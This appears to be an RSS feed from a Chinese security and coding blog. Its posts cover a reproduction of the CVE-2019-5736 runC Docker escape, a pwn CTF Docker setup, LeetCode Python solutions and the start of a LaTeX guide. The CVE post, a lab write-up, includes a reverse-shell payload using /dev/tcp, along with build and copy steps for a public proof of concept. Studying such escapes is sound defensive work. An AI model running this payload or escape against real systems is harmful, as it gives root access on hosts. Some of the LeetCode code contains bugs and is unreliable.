<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
  <channel>
    <title>ble55ing的技术专栏</title>
    <description>blog &amp; blog theme🤘</description>
    <link>https://ble55ing.github.io/</link>
    <atom:link href="https://ble55ing.github.io/feed.xml" rel="self" type="application/rss+xml"/>
    <pubDate>Mon, 11 May 2020 15:20:22 +0000</pubDate>
    <lastBuildDate>Mon, 11 May 2020 15:20:22 +0000</lastBuildDate>
    <generator>Jekyll v3.8.5</generator>
    
      <item>
        <title>CVE-2019-5736</title>
        <description>&lt;ul id=&quot;markdown-toc&quot;&gt;
  &lt;li&gt;&lt;a href=&quot;#cve-2019-5736&quot; id=&quot;markdown-toc-cve-2019-5736&quot;&gt;CVE-2019-5736&lt;/a&gt;    &lt;ul&gt;
      &lt;li&gt;&lt;a href=&quot;#漏洞复现&quot; id=&quot;markdown-toc-漏洞复现&quot;&gt;漏洞复现&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#漏洞原理&quot; id=&quot;markdown-toc-漏洞原理&quot;&gt;漏洞原理&lt;/a&gt;&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;cve-2019-5736&quot;&gt;CVE-2019-5736&lt;/h2&gt;

CVE-2019-5736是一个docker的逃逸漏洞，该漏洞是产生于runC容器的，RunC是最初作为docker的一部分开发的，用于处理与运行容器相关的任务。如创建容器、将进程附加到现有容器等。

在docker 18.09.2之前版本中使用了的runc版本小于1.0-rc6，所以会存在这个漏洞。当然不是docker只要用runc小于1.0-rc6，就会存在该漏洞。

该漏洞允许攻击者重写宿主机上的runc 二进制文件，导致攻击者可以在宿主机上以root身份执行命令。

&lt;h3 id=&quot;漏洞复现&quot;&gt;漏洞复现&lt;/h3&gt;

找到了一个一键安装漏洞的脚本https://gist.githubusercontent.com/thinkycx/e2c9090f035d7b09156077903d6afa51/raw/

通过这个脚本会安装该版本的docker，以及一个对应的一个容器，

&lt;img src=&quot;https://raw.githubusercontent.com/ble55ing/PicGo/master/%E5%BE%AE%E4%BF%A1%E6%88%AA%E5%9B%BE_20200318211716.png&quot; alt=&quot;&quot; /&gt;

有一个go语言写的payload还是很清晰的

https://github.com/Frichetten/CVE-2019-5736-PoC

下载下来修改一下，把执行的payload改为反弹shell的payload

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&quot;#!/bin/bash \n bash -i &amp;gt;&amp;amp; /dev/tcp/172.17.0.1/8080 0&amp;gt;&amp;amp; 1 &amp;amp;\n&quot;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

并编译该paylaod

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;GO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

并将其复制到docker里

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;docker cp main ff0:/home
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

然后只要在docker中启动该程序，再在主机上监听端口，再启动这个容器时，就会反弹一个root权限的shell给主机的终端。

&lt;img src=&quot;https://raw.githubusercontent.com/ble55ing/PicGo/master/64.png&quot; alt=&quot;&quot; /&gt;

即，通过docker的逃逸得到了一个主机的shell

&lt;h3 id=&quot;漏洞原理&quot;&gt;漏洞原理&lt;/h3&gt;

漏洞的存在原理在于/proc/pid/exe这个绑定的方式，/proc是比较熟知的一个概念，为一个虚拟文件系统，其中的文件能够显示当前的进程运行信息。/proc/pid/exe是一个程序链接，指向这个pid运行的程序。

而这个漏洞的利用方式就在于，在docker里查找到runc的exe，获取对应于该位置的一个文件句柄，然后向这个位置写入东西的话，就能够将宿主机的程序覆盖掉，然后用户下一次再要运行runc的时候，就会触发反弹shell。

当然一开始的时候这个文件本来是不可写的，但这个限制只这只存在于runC运行时，因而通过/proc/pid/exe持续保持一个指向该文件的指针，循环进行写入的申请。

可以看到，宿主机的docker-runc文件已经被覆盖掉了

&lt;img src=&quot;https://raw.githubusercontent.com/ble55ing/PicGo/master/%E5%BE%AE%E4%BF%A1%E6%88%AA%E5%9B%BE_20200319195844.png&quot; alt=&quot;&quot; /&gt;

</description>
        <pubDate>Thu, 19 Mar 2020 00:00:00 +0000</pubDate>
        <link>https://ble55ing.github.io/2020/03/19/docker-20195736/</link>
        <guid isPermaLink="true">https://ble55ing.github.io/2020/03/19/docker-20195736/</guid>
        
        <category>docker</category>
        
        <category>escape</category>
        
        
        <category>escape</category>
        
      </item>
    
      <item>
        <title>pwn docker 搭建</title>
        <description>&lt;ul id=&quot;markdown-toc&quot;&gt;
  &lt;li&gt;&lt;a href=&quot;#pwn-docker-搭建&quot; id=&quot;markdown-toc-pwn-docker-搭建&quot;&gt;pwn docker 搭建&lt;/a&gt;    &lt;ul&gt;
      &lt;li&gt;&lt;a href=&quot;#效果&quot; id=&quot;markdown-toc-效果&quot;&gt;效果&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#docker安装&quot; id=&quot;markdown-toc-docker安装&quot;&gt;docker安装&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#遇到的问题&quot; id=&quot;markdown-toc-遇到的问题&quot;&gt;遇到的问题&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#使用&quot; id=&quot;markdown-toc-使用&quot;&gt;使用&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#额外&quot; id=&quot;markdown-toc-额外&quot;&gt;额外&lt;/a&gt;&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;pwn-docker-搭建&quot;&gt;pwn docker 搭建&lt;/h2&gt;

pwn题目所涉及的libc版本多变，不同的版本添加了不同的安全策略，因而需要有不同的pwn方法。

pwn题目版本不同需要不同的运行环境和调试环境，此docker就是为此而设计。

&lt;h3 id=&quot;效果&quot;&gt;效果&lt;/h3&gt;

目前已上传至dockerhub，61355ing /pwndocker，可通过docker pull 61355ing/pwndocker下载到，其工作目录为/ctf/workspace，其中包含了一些常用到的pwn题目的环境，如2.23_x64，2.27_x64之类的，为每个单独了一个文件夹，这个文件夹中装载了在gdb调试中所使用的该版本的符号环境。

&lt;h3 id=&quot;docker安装&quot;&gt;docker安装&lt;/h3&gt;

网上找的个集成工具，这个是该项目&lt;a href=&quot;https://github.com/skysider/pwndocker&quot;&gt;https://github.com/skysider/pwndocker&lt;/a&gt;

docker pull skysider/pwndocker

sudo docker run -i -t –privileged -v /home/w1804/www:/var/www skysider/pwndocker bash

这个项目能把大多数的运行环境搭建起来了，但是还没有调试环境，用起来不方便。

&lt;h3 id=&quot;遇到的问题&quot;&gt;遇到的问题&lt;/h3&gt;

error：

&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Error response from daemon: Get https://registry-1.docker.io/v2/: net/http: TLS handshake timeout&lt;/code&gt;

使用dig @114.114.114.114 registry-1.docker.io

找到一个可以ping通的地址，将其添加到/etc/hosts 里。

&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;100.24.246.89 registry-1.docker.io&lt;/code&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;vim /etc/docker/daemon.json 

{

    &quot;graph&quot;: &quot;/mnt/docker-data&quot;,

    &quot;storage-driver&quot;: &quot;overlay&quot;,

    &quot;registry-mirrors&quot;: [&quot;https://registry.docker-cn.com&quot;]

}

&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

之后重启

service docker restart

systemctl restart docker

&lt;h3 id=&quot;使用&quot;&gt;使用&lt;/h3&gt;

进入docker，为程序绑定运行时的库，

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;patchelf --set-interpreter /ctf/work/ld-linux-x86-64.so.2 printf
patchelf --set-rpath /ctf/work:/libc.so.6 printf
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

注意第二个是需要有冒号的，这两个命令也要添加到py里，就可以调试了

这就比较方便

&lt;h3 id=&quot;额外&quot;&gt;额外&lt;/h3&gt;

在使用gdb调试的时候，如果是给的libc，就无法通过main_arena或者heapinfo查看堆的信息，因为libc缺少符号表，gdb加载不出来。这时候有一个方法能够调试起来，那就是编译库文件，然后将所有库文件放入到工作目录的.debug文件夹下。

&lt;a href=&quot;https://github.com/matrix1001/glibc-all-in-one&quot;&gt;https://github.com/matrix1001/glibc-all-in-one&lt;/a&gt; 这里有一个能够简洁编译glibc的项目，非常有帮助
</description>
        <pubDate>Tue, 25 Feb 2020 00:00:00 +0000</pubDate>
        <link>https://ble55ing.github.io/2020/02/25/pwn-pwndocker/</link>
        <guid isPermaLink="true">https://ble55ing.github.io/2020/02/25/pwn-pwndocker/</guid>
        
        <category>atmosphere</category>
        
        
        <category>pwn</category>
        
      </item>
    
      <item>
        <title>leetcode 经验</title>
        <description>&lt;ul id=&quot;markdown-toc&quot;&gt;
  &lt;li&gt;&lt;a href=&quot;#leetcode-经验&quot; id=&quot;markdown-toc-leetcode-经验&quot;&gt;leetcode 经验&lt;/a&gt;    &lt;ul&gt;
      &lt;li&gt;&lt;a href=&quot;#1-一维数组查重要使用hash表&quot; id=&quot;markdown-toc-1-一维数组查重要使用hash表&quot;&gt;1 一维数组查重要使用hash表&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#2-递增二维数组查重&quot; id=&quot;markdown-toc-2-递增二维数组查重&quot;&gt;2 递增二维数组查重&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#3-list头插&quot; id=&quot;markdown-toc-3-list头插&quot;&gt;3 list头插&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#4-给前序中序得二叉树&quot; id=&quot;markdown-toc-4-给前序中序得二叉树&quot;&gt;4 给前序中序，得二叉树&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#5-斐波那契数列&quot; id=&quot;markdown-toc-5-斐波那契数列&quot;&gt;5 斐波那契数列&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#6-旋转数组的最小数字&quot; id=&quot;markdown-toc-6-旋转数组的最小数字&quot;&gt;6 旋转数组的最小数字&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#7-二进制中1的个数&quot; id=&quot;markdown-toc-7-二进制中1的个数&quot;&gt;7 二进制中1的个数&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#8-剪绳子问题&quot; id=&quot;markdown-toc-8-剪绳子问题&quot;&gt;8 剪绳子问题&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#9-实现幂运算&quot; id=&quot;markdown-toc-9-实现幂运算&quot;&gt;9 实现幂运算&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#10-正则匹配&quot; id=&quot;markdown-toc-10-正则匹配&quot;&gt;10 正则匹配&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#烂橘子问题&quot; id=&quot;markdown-toc-烂橘子问题&quot;&gt;烂橘子问题&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#和为s的连续正数序列&quot; id=&quot;markdown-toc-和为s的连续正数序列&quot;&gt;和为s的连续正数序列&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#字符串最大公因子&quot; id=&quot;markdown-toc-字符串最大公因子&quot;&gt;字符串最大公因子&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#数组中不连续上升子序列&quot; id=&quot;markdown-toc-数组中不连续上升子序列&quot;&gt;数组中不连续上升子序列&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#拼写单词&quot; id=&quot;markdown-toc-拼写单词&quot;&gt;拼写单词&lt;/a&gt;&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;leetcode-经验&quot;&gt;leetcode 经验&lt;/h2&gt;

&lt;h3 id=&quot;1-一维数组查重要使用hash表&quot;&gt;1 一维数组查重要使用hash表&lt;/h3&gt;

python的 Python 的 dict 和 set 都是使用 hash 表实现的，查找操作复杂度为O(1)

而in list的复杂度为O(n)

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;def findRepeatNumber(self, nums: List[int]) -&amp;gt; int:
        table = set()
        for i in nums:
            if i in table: 
                return i
            else:
                table.add(i)
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;2-递增二维数组查重&quot;&gt;2 递增二维数组查重&lt;/h3&gt;

数组横向递增纵向递增，所以删除第一个数大的行和最后一个数小的列

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;def findNumberIn2DArray(self, matrix: List[List[int]], target: int) -&amp;gt; bool:
        i = len(matrix) - 1
        j = 0
        while i &amp;gt;= 0 and j &amp;lt; len(matrix[0]):
            if matrix[i][j] &amp;gt; target: i -= 1
            elif matrix[i][j] &amp;lt; target: j += 1
            else: return True
        return False
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;3-list头插&quot;&gt;3 list头插&lt;/h3&gt;

list.insert(0,xx)，list.insert有一个可选参数是插入位置

但是速度很慢。只击败了54%。。但空间消耗很少，击败100%。。发现到现在还都是速度不到100%。。空间都是100%。。

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;# Definition for singly-linked list.
# class ListNode:
#     def __init__(self, x):
#         self.val = x
#         self.next = None

class Solution:
    def reversePrint(self, head: ListNode) -&amp;gt; List[int]:
        list1 =[]
        while head!=None:
            list1.insert(0,head.val)
            head = head.next
        return list1
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;4-给前序中序得二叉树&quot;&gt;4 给前序中序，得二叉树&lt;/h3&gt;

前序为 中左右，中序为 左中右，后序为 左右中

耗时又多了，空间还是击败100%。。

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;# class TreeNode:
#     def __init__(self, x):
#         self.val = x
#         self.left = None
#         self.right = None

class Solution:
    def buildTree(self, preorder: List[int], inorder: List[int]) -&amp;gt; TreeNode:    
        if len(preorder)&amp;lt;1:
            return None
        root = TreeNode(preorder[0])
        root.left = self.buildTree(preorder[1:1+inorder.index(preorder[0])],inorder[0:inorder.index(preorder[0])])
        root.right = self.buildTree(preorder[1+inorder.index(preorder[0]):],inorder[1+inorder.index(preorder[0]):])
        return root
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;5-斐波那契数列&quot;&gt;5 斐波那契数列&lt;/h3&gt;

青蛙跳台阶问题

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;class Solution:
    def fib(self, n: int) -&amp;gt; int:
        if (n&amp;lt;2):
            return n
        n1=0
        n2=1
        for i in range(1,n):
            ret = n1+n2
            n1=n2
            n2=ret
        return ret%1000000007
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;6-旋转数组的最小数字&quot;&gt;6 旋转数组的最小数字&lt;/h3&gt;

第一次双100% ！！

&lt;img src=&quot;https://raw.githubusercontent.com/ble55ing/PicGo/master/%E5%BE%AE%E4%BF%A1%E6%88%AA%E5%9B%BE_20200226101921.png&quot; alt=&quot;&quot; /&gt;

就是代码写的有点丑

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;class Solution:
    def minArray(self, numbers: List[int]) -&amp;gt; int:
        left = 0
        right = len(numbers)-1
        mid =1
        while numbers[left]&amp;gt;=numbers[right]:
            mid = int((left+right)/2)
            if left==mid:
                return numbers[right]
            if (numbers[left]&amp;lt;numbers[mid]):
                left=mid
            elif numbers[left]==numbers[mid]:
                left+=1
            if (numbers[right]&amp;gt;numbers[mid]):
                right = mid
            elif numbers[right]==numbers[mid]:
                right-=1
            

        return numbers[left]
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;7-二进制中1的个数&quot;&gt;7 二进制中1的个数&lt;/h3&gt;

处理二进制就应该用位运算

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;class Solution:
    def hammingWeight(self, n: int) -&amp;gt; int:
        res=0;
        while n&amp;gt;0:
            res += n &amp;amp; 1
            n &amp;gt;&amp;gt;= 1
        return res
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;8-剪绳子问题&quot;&gt;8 剪绳子问题&lt;/h3&gt;

怎么剪绳子各段之积最大

从2到n找最大，知道乘积减小了，证明找到了最大值

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;class Solution:
    def cuttingRope(self, n: int) -&amp;gt; int:
        pres= 0
        res= 1
        i=1
        while res&amp;gt;pres:
            pres = res
            i+=1
            res = self.mnum(n,i)
        return pres
    def mnum(self,n,m):
        c = n//m
        d = n%m
        res = 1
        for i in range(m):
            if d&amp;gt;0:
                res*=(c+1)
                d-=1
            else:
                res*=c
        return res
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;9-实现幂运算&quot;&gt;9 实现幂运算&lt;/h3&gt;

二进制表示n，为1 的就乘上

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;class Solution:
    def myPow(self, x: float, n: int) -&amp;gt; float:
        res= 1.0
        if n &amp;lt; 0:
            x = 1/x
            n = -n
        while n &amp;gt; 0:
            if n &amp;amp; 1:
                res *=x
            x *= x
            n &amp;gt;&amp;gt;= 1
        return res
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;10-正则匹配&quot;&gt;10 正则匹配&lt;/h3&gt;

我一开始用递归写的。。改了无数次。。结果时间只击败了5%，空间还是100%

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;class Solution:
    def isMatch(self, s: str, p: str) -&amp;gt; bool:
        s1=0
        p1=0
        while p1&amp;lt;len(p)-1:
            if p[p1]=='.' and p[p1+1]=='*':
                while s1&amp;lt;=len(s):
                    res = self.isMatch(s[s1:],p[p1+2:])
                    if res==True:
                        return True
                    s1+=1
                return False
            elif p[p1]=='.':
                if s1&amp;gt;=len(s):
                    return False
                return self.isMatch(s[s1+1:],p[p1+1:])
            elif p[p1+1]=='*':
                res = False
                while s1&amp;lt;=len(s):
                    res = self.isMatch(s[s1:],p[p1+2:])
                    if res==True:
                        return True
                    if s1&amp;gt;=len(s):
                        break;
                    elif s[s1]!=p[p1]:
                        break;
                    s1+=1
                return False
            elif s1&amp;lt;len(s) and s[s1]==p[p1]:
                s1+=1
                p1+=1
            else:
                break

        if len(p)==p1 and len(s)==s1:
            return True
        elif len(p)==p1 or len(s)==s1:
            return False
        if p[p1]==s[s1] and s1== len(s)-1:
            return True
        elif p[p1]=='.' and s1== len(s)-1:
            return True
        else:
            return False
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

看大家的题解都是动态规划，也学着写了写

动态规划，将问题转化为数学问题的递推

用&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;dp[i][j]&lt;/code&gt;表示s的前i项和p的前j项是否匹配，

然后找每个dp和之前的dp的关系

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;class Solution:
    def isMatch(self, s: str, p: str) -&amp;gt; bool:
        s, p = '#'+s, '#'+p
        m, n = len(s), len(p)
        [[False for _ in range(n)] for _ in range(m)]
        dp[0][0] = True
        
        for i in range(m):
            for j in range(1, n):
                if i == 0:
                    dp[i][j] = j &amp;gt; 1 and p[j] == '*' and dp[i][j-2]
                elif p[j] ==s[i] or p[j]=='.':
                    dp[i][j] = dp[i-1][j-1]
                elif p[j] == '*':
                    dp[i][j] = j &amp;gt; 1 and dp[i][j-2] 
                    if p[j-1] ==s[i] or p[j-1]=='.':
                        dp[i][j] |= dp[i-1][j]
                else:
                    dp[i][j] = False
        return dp[m-1][n-1]
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;烂橘子问题&quot;&gt;烂橘子问题&lt;/h3&gt;

网格里有橘子，每分钟烂橘子会将周围橘子变烂，问多少分钟后，橘子会烂完？或者橘子烂不完

这里首先将网络往外扩了一圈，用于减少之后的判断

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;class Solution:
    def orangesRotting(self, grid: List[List[int]]) -&amp;gt; int:
        ydo = 1
        turn =-1
        list22 =[]
        listnull =[]
        for j in range(len(grid[0])+2):
            listnull.append(0)
        for i in range(len(grid)):
            for j in range(len(grid[i])):
                if grid[i][j]==2:
                    list22.append((i+1,j+1))
            grid[i].insert(0,0)
            grid[i].append(0)
        grid.append(listnull)
        grid.insert(0,listnull)
        while ydo:
            ydo=0
            turn+=1
            len2= len(list22)
            for _ in range(len2):
                i,j = list22[0][0],list22[0][1]
                if grid[i][j-1]==1:
                    grid[i][j-1]=2
                    list22.append((i,j-1))
                    ydo=1
                if grid[i-1][j]==1:
                    grid[i-1][j]=2
                    list22.append((i-1,j))
                    ydo=1
                if grid[i+1][j]==1:
                    grid[i+1][j]=2
                    list22.append((i+1,j))
                    ydo=1
                if grid[i][j+1]==1:
                    grid[i][j+1]=2
                    list22.append((i,j+1))
                    ydo=1
                del list22[0]
        for i in range(len(grid)):
            for j in range(len(grid[i])):
                if grid[i][j]==1:
                    return -1
        return turn
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;和为s的连续正数序列&quot;&gt;和为s的连续正数序列&lt;/h3&gt;

又一次双百，用数列求和来算，对偶数2n，为target%2n==n时是能够得到序列，target%(2n+1)==0时为能够得到，还要注意序列不能为0开始

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;class Solution:
    def findContinuousSequence(self, target: int) -&amp;gt; List[List[int]]:
        res = []
        n=1
        while (1+2*n)*n &amp;lt;= target:
            if target%(2*n)==n:
                left = target//(2*n)-n+1
                res1 = [ _ for _ in range(left,left+2*n)]
                res.insert(0,res1)
            if target%(2*n+1)==0:
                left = target//(2*n+1)-n
                if left&amp;gt;0:
                    res1 = [_ for _ in range(left,left+2*n+1)]
                    res.insert(0,res1)
            n+=1
        return res
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;字符串最大公因子&quot;&gt;字符串最大公因子&lt;/h3&gt;

此处给出的是官网的，不是我写的，因为其非常直白的表现了python在字符串处理上的优点。

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;class Solution:
    def gcdOfStrings(self, str1: str, str2: str) -&amp;gt; str:
        for i in range(min(len(str1), len(str2)), 0, -1):
            if (len(str1) % i) == 0 and (len(str2) % i) == 0:
                if str1[: i] * (len(str1) // i) == str1 and str1[: i] * (len(str2) // i) == str2:
                    return str1[: i]
        return ''
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;数组中不连续上升子序列&quot;&gt;数组中不连续上升子序列&lt;/h3&gt;

数组中不连续的最长上升子序列，要求复杂度O(nlogn0)，考虑用辅助数组。

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;class Solution:
    def lengthOfLIS(self, nums: List[int]) -&amp;gt; int:
        if not nums: return 0
        dp = [1 for _ in len(nums)]
        for i in range(len(nums)):
            for j in range(i):
                if nums[j] &amp;lt; nums[i]:
                    dp[i] = max(dp[i], dp[j] + 1)
        return max(dp)

&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;拼写单词&quot;&gt;拼写单词&lt;/h3&gt;

用给的字符串里的字符拼单词，返回能拼的单词的总长度

官网题解是给的Counter，比我的慢一倍多。。

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;class Solution:
    def countCharacters(self, words: List[str], chars: str) -&amp;gt; int:
        chlist = [0 for _ in range(26)]
        wolist = [0 for _ in range(26)]
        res = 0
        for c in chars:
            chlist[ord(c)-ord('a')]+=1
        for word in words:
            for i in range(26):
                wolist[i]=0
            flag=1
            for w in word:
                r = ord(w)-ord('a')
                wolist[r]+=1
                if wolist[r]&amp;gt;chlist[r]:
                    flag=0
                    break;
            if flag==1:
                res+=len(word)
        return res
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

</description>
        <pubDate>Sat, 22 Feb 2020 00:00:00 +0000</pubDate>
        <link>https://ble55ing.github.io/2020/02/22/leetcode/</link>
        <guid isPermaLink="true">https://ble55ing.github.io/2020/02/22/leetcode/</guid>
        
        <category>coding</category>
        
        
        <category>coding</category>
        
      </item>
    
      <item>
        <title>上手latex</title>
        <description>&lt;ul id=&quot;markdown-toc&quot;&gt;
  &lt;li&gt;&lt;a href=&quot;#latex初上手&quot; id=&quot;markdown-toc-latex初上手&quot;&gt;latex初上手&lt;/a&gt;    &lt;ul&gt;
      &lt;li&gt;&lt;a href=&quot;#latex安装&quot; id=&quot;markdown-toc-latex安装&quot;&gt;latex安装&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#latex使用&quot; id=&quot;markdown-toc-latex使用&quot;&gt;latex使用&lt;/a&gt;        &lt;ul&gt;
          &lt;li&gt;&lt;a href=&quot;#顶格&quot; id=&quot;markdown-toc-顶格&quot;&gt;顶格&lt;/a&gt;&lt;/li&gt;
          &lt;li&gt;&lt;a href=&quot;#文字格式&quot; id=&quot;markdown-toc-文字格式&quot;&gt;文字格式&lt;/a&gt;&lt;/li&gt;
          &lt;li&gt;&lt;a href=&quot;#转义&quot; id=&quot;markdown-toc-转义&quot;&gt;转义&lt;/a&gt;&lt;/li&gt;
          &lt;li&gt;&lt;a href=&quot;#公式&quot; id=&quot;markdown-toc-公式&quot;&gt;公式&lt;/a&gt;&lt;/li&gt;
          &lt;li&gt;&lt;a href=&quot;#希腊字母&quot; id=&quot;markdown-toc-希腊字母&quot;&gt;希腊字母&lt;/a&gt;&lt;/li&gt;
          &lt;li&gt;&lt;a href=&quot;#图片&quot; id=&quot;markdown-toc-图片&quot;&gt;图片&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      &lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#中文处理&quot; id=&quot;markdown-toc-中文处理&quot;&gt;中文处理&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#字体&quot; id=&quot;markdown-toc-字体&quot;&gt;字体&lt;/a&gt;        &lt;ul&gt;
          &lt;li&gt;&lt;a href=&quot;#字体族&quot; id=&quot;markdown-toc-字体族&quot;&gt;字体族&lt;/a&gt;&lt;/li&gt;
          &lt;li&gt;&lt;a href=&quot;#字体编码&quot; id=&quot;markdown-toc-字体编码&quot;&gt;字体编码&lt;/a&gt;&lt;/li&gt;
          &lt;li&gt;&lt;a href=&quot;#字体系列&quot; id=&quot;markdown-toc-字体系列&quot;&gt;字体系列&lt;/a&gt;&lt;/li&gt;
